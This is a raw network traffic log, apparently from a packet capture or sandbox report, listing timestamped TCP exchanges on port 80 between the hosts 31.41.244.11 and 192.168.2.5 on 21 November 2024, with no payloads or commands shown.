Nov 21, 2024 03:09:14.821846008 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.821896076 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.822777987 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.822828054 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.822930098 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.822979927 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.823877096 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.823925972 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.823972940 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.824022055 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.824939966 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.824992895 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.825071096 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.825124025 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.826025009 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.826075077 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.826101065 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.826145887 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.827042103 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.827090979 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.827166080 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.827214003 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.828114986 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.828161001 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.828203917 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.828249931 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.829166889 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.829216003 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.829260111 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.829305887 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.830249071 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.830295086 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.830358982 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.830404997 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.831325054 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.831397057 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.831424952 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.831487894 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.832360983 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.832406998 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.832482100 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.832529068 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.833435059 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.833478928 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.833525896 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.833574057 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.834527016 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.834573984 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.834610939 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.834651947 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.835592031 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.835643053 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.835685968 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.835730076 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.836636066 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.836683035 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.836749077 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.836797953 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.837712049 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.837765932 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.837809086 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.837857962 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.838788986 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.838839054 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.838881969 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.838932037 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.839865923 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.839915037 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.840002060 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.840046883 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.840909958 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.840956926 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.841022015 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.841069937 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.841974020 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.842050076 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.842086077 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.842133999 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.843091011 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.843115091 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.843137980 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.843157053 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.844088078 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.844135046 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.844203949 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.844250917 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.845212936 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.845257998 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.845273972 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.845319986 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.846245050 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.846293926 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.846338034 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.846385002 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.847327948 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.847376108 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.847410917 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.847456932 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.848366022 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.848412991 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.848457098 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.848503113 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.849423885 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.849471092 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.849550009 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.849601030 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.850519896 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.850568056 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.850667000 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.850711107 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.851490974 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.851505995 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.851538897 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.851572037 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.852396011 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.852443933 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.852474928 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.852520943 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.853332996 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.853384972 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.853431940 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.853477955 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.854247093 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.854302883 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.854312897 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.854356050 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.855187893 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.855249882 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.855249882 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.855300903 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.856137037 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.856190920 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.856231928 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.856281042 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.857038021 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.857089996 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.857156992 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.857208967 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.857964993 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.858016014 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.858079910 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.858133078 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.858892918 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.858942986 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.859009027 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.859056950 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.859817982 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.859865904 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.859946966 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.859998941 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.860740900 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.860800028 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.860862970 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.860915899 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.861613989 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.861666918 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.008986950 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.009111881 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.009114027 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.009183884 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.009223938 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.009262085 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.009274006 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.009306908 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.010041952 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.010101080 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.010149002 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.010200977 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.010874033 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.010941982 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.010983944 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.011034966 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.011677027 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.011735916 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.011801004 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.011853933 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.012517929 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.012572050 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.012669086 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.012722015 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.013366938 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.013421059 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.013477087 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.013528109 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.014184952 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.014240026 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.014302015 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.014353991 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.015022993 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.015075922 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.015137911 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.015188932 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.015856028 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.015909910 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.015983105 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.016035080 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.016710997 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.016762972 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.016815901 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.016868114 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.017544985 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.017600060 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.017713070 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.017765045 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.018547058 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.018603086 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.018609047 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.018654108 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.019186020 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.019238949 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.019293070 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.019344091 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.020024061 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.020086050 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.020148039 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.020215988 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.020865917 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.020947933 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.020967007 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.021014929 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.021687984 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.021743059 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.021804094 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.021853924 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.022515059 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.022567987 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.022636890 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.022687912 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.023379087 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.023431063 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.023483038 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.023535967 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.024185896 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.024254084 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.024315119 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.024360895 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.025053024 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.025105953 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.025171041 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.025223970 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.025875092 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.025930882 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.025933981 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.025981903 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.026684046 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.026738882 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.026806116 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.026859045 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.027518988 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.027573109 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.027638912 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.027757883 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.028341055 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.028393030 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.028397083 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.028441906 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.029189110 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.029241085 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.029297113 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.029347897 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.030057907 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.030107975 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.030152082 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.030219078 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.030860901 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.030913115 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.030975103 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.031028032 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.031691074 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.031747103 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.031804085 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.031853914 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.032524109 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.032578945 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.032644987 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.032696009 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.033351898 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.033418894 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.033471107 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.033524990 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.034188032 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.034239054 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.034305096 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.034353971 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.035037994 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.035092115 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.035159111 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.035211086 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.035901070 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.035953045 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.036005974 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.036056995 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.036698103 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.036761045 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.036838055 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.036891937 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.037555933 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.037611961 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.037663937 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.037765980 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.038383007 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.038450956 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.038500071 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.038549900 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.039199114 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.039253950 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.039331913 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.039386034 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.040038109 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.040091038 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.040091991 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.040141106 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.040882111 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.040934086 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.040988922 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.041035891 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.041690111 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.041743040 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.041812897 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.041883945 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.042534113 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.042588949 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.042650938 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.042701960 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.043390036 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.043438911 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.043493032 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.043546915 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.044208050 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.044260979 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.044334888 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.044385910 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.045041084 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.045093060 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.045155048 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.045207977 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.045876026 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.045928955 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.046000004 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.046051979 CET	49814	80	192.168.2.5	31.41.244.11
